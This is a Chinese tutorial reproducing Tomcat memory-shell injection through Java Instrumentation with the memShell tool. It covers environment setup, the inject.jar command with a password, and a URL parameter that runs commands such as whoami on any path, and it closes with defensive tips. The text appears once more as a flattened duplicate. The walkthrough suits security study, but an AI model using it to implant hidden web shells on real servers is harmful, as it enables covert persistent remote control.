Tomcat进程注入技术复现
字数 1230 2025-08-18 11:35:42

Tomcat进程注入技术复现教程

技术原理概述

Tomcat进程注入技术基于Java SE5引入的Java Instrumentation功能,该功能允许使用独立于应用程序之外的代理程序来监测和协助JVM运行时的状态,包括替换和修改类定义等操作。本教程将详细介绍如何利用GitHub上rebeyond的memShell工程实现Tomcat进程注入。

技术关键点

目标实现

  • 访问Web服务器上的任意URL(无论是否存在)
  • 无论请求的是静态资源、jsp文件、原生servlet还是struts action
  • 只要请求传递给Tomcat,就能响应我们的指令

关键类选择

选择org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法作为注入点,原因如下:

  1. 位于HTTP请求调用栈的上层
  2. 不与具体URL耦合
  3. 能接受客户端request中的数据

方法分析

internalDoFilter方法原型:

private void internalDoFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {}

该方法特点:

  • 包含ServletRequest和ServletResponse参数,封装了用户请求的request和response
  • 是自定义filter的入口点
  • 包含安全相关的处理逻辑

复现环境搭建

1. Java环境搭建

步骤:

  1. 从Oracle官网下载Linux版JDK
  2. 解压到/usr/local目录
  3. 配置环境变量:
    vi /etc/profile
    
    添加以下内容:
    export JAVA_HOME=/usr/local/jdk1.8.0_261
    export JRE_HOME=${JAVA_HOME}/jre
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    export PATH=.:${JAVA_HOME}/bin:$PATH
    
  4. 使配置生效:
    source /etc/profile
    
  5. 验证安装:
    java -version
    

2. Tomcat安装配置

步骤:

  1. 从官网下载Tomcat 9
  2. 解压到/usr/local目录并重命名:
    tar zxvf apache-tomcat-9.0.38
    sudo mv apache-tomcat-9.0.38 tomcat9
    
  3. 配置Tomcat以非root用户运行:
    cd /usr/local/tomcat9/bin
    tar zxvf commons-daemon-native.tar.gz
    cd commons-daemon-1.2.2-native-src/unix/
    ./configure
    make
    cp jsvc ../..
    
  4. 创建专用用户:
    sudo adduser tomcat
    
  5. 设置权限:
    sudo chown -R tomcat:tomcat /usr/local/tomcat9
    
  6. 启动Tomcat:
    su tomcat
    ./daemon.sh start
    
  7. 验证安装:访问http://127.0.0.1:8080

内存注入实施

使用memShell工程

步骤:

  1. 将memShell工程文件上传到Tomcat服务器
  2. 执行注入命令:
    java -jar inject.jar pppd
    
    (其中pppd为自定义密码)

验证注入

访问任意URL并附加参数:

http://[target]/anyurl?pass_the_word=pppd

可用命令示例:

  • whoami - 获取当前用户名
  • 其他功能参考返回的帮助信息

技术扩展

  1. 该技术不仅限于Tomcat,理论上适用于:

    • JBOSS
    • WebLogic
    • 其他Java Web容器
  2. 差异点主要在于"定位关键类"的步骤

  3. 可通过修改源代码实现更多功能

安全建议

  1. 定期更新Java和Tomcat版本
  2. 监控JVM中加载的代理程序
  3. 限制对JMX端口的访问
  4. 使用安全管理器限制敏感操作

参考资源

  1. 利用"进程注入"实现无文件复活WebShell
  2. Ubuntu下配置Tomcat以指定(非root)身份运行
  3. GitHub上的memShell工程

后记

本教程详细介绍了Tomcat进程注入技术的原理和实现方法,重点在于理解Java Instrumentation机制和Tomcat处理请求的流程。该技术展示了Java Web应用潜在的安全风险,安全人员应充分了解此类技术以便更好地防御。

Tomcat进程注入技术复现教程 技术原理概述 Tomcat进程注入技术基于Java SE5引入的Java Instrumentation功能,该功能允许使用独立于应用程序之外的代理程序来监测和协助JVM运行时的状态,包括替换和修改类定义等操作。本教程将详细介绍如何利用GitHub上rebeyond的memShell工程实现Tomcat进程注入。 技术关键点 目标实现 访问Web服务器上的任意URL(无论是否存在) 无论请求的是静态资源、jsp文件、原生servlet还是struts action 只要请求传递给Tomcat,就能响应我们的指令 关键类选择 选择 org.apache.catalina.core.ApplicationFilterChain 类的 internalDoFilter 方法作为注入点,原因如下: 位于HTTP请求调用栈的上层 不与具体URL耦合 能接受客户端request中的数据 方法分析 internalDoFilter 方法原型: 该方法特点: 包含ServletRequest和ServletResponse参数,封装了用户请求的request和response 是自定义filter的入口点 包含安全相关的处理逻辑 复现环境搭建 1. Java环境搭建 步骤: 从Oracle官网下载Linux版JDK 解压到/usr/local目录 配置环境变量: 添加以下内容: 使配置生效: 验证安装: 2. Tomcat安装配置 步骤: 从官网下载Tomcat 9 解压到/usr/local目录并重命名: 配置Tomcat以非root用户运行: 创建专用用户: 设置权限: 启动Tomcat: 验证安装:访问 http://127.0.0.1:8080 内存注入实施 使用memShell工程 步骤: 将memShell工程文件上传到Tomcat服务器 执行注入命令: (其中pppd为自定义密码) 验证注入 访问任意URL并附加参数: 可用命令示例: whoami - 获取当前用户名 其他功能参考返回的帮助信息 技术扩展 该技术不仅限于Tomcat,理论上适用于: JBOSS WebLogic 其他Java Web容器 差异点主要在于"定位关键类"的步骤 可通过修改源代码实现更多功能 安全建议 定期更新Java和Tomcat版本 监控JVM中加载的代理程序 限制对JMX端口的访问 使用安全管理器限制敏感操作 参考资源 利用"进程注入"实现无文件复活WebShell Ubuntu下配置Tomcat以指定(非root)身份运行 GitHub上的memShell工程 后记 本教程详细介绍了Tomcat进程注入技术的原理和实现方法,重点在于理解Java Instrumentation机制和Tomcat处理请求的流程。该技术展示了Java Web应用潜在的安全风险,安全人员应充分了解此类技术以便更好地防御。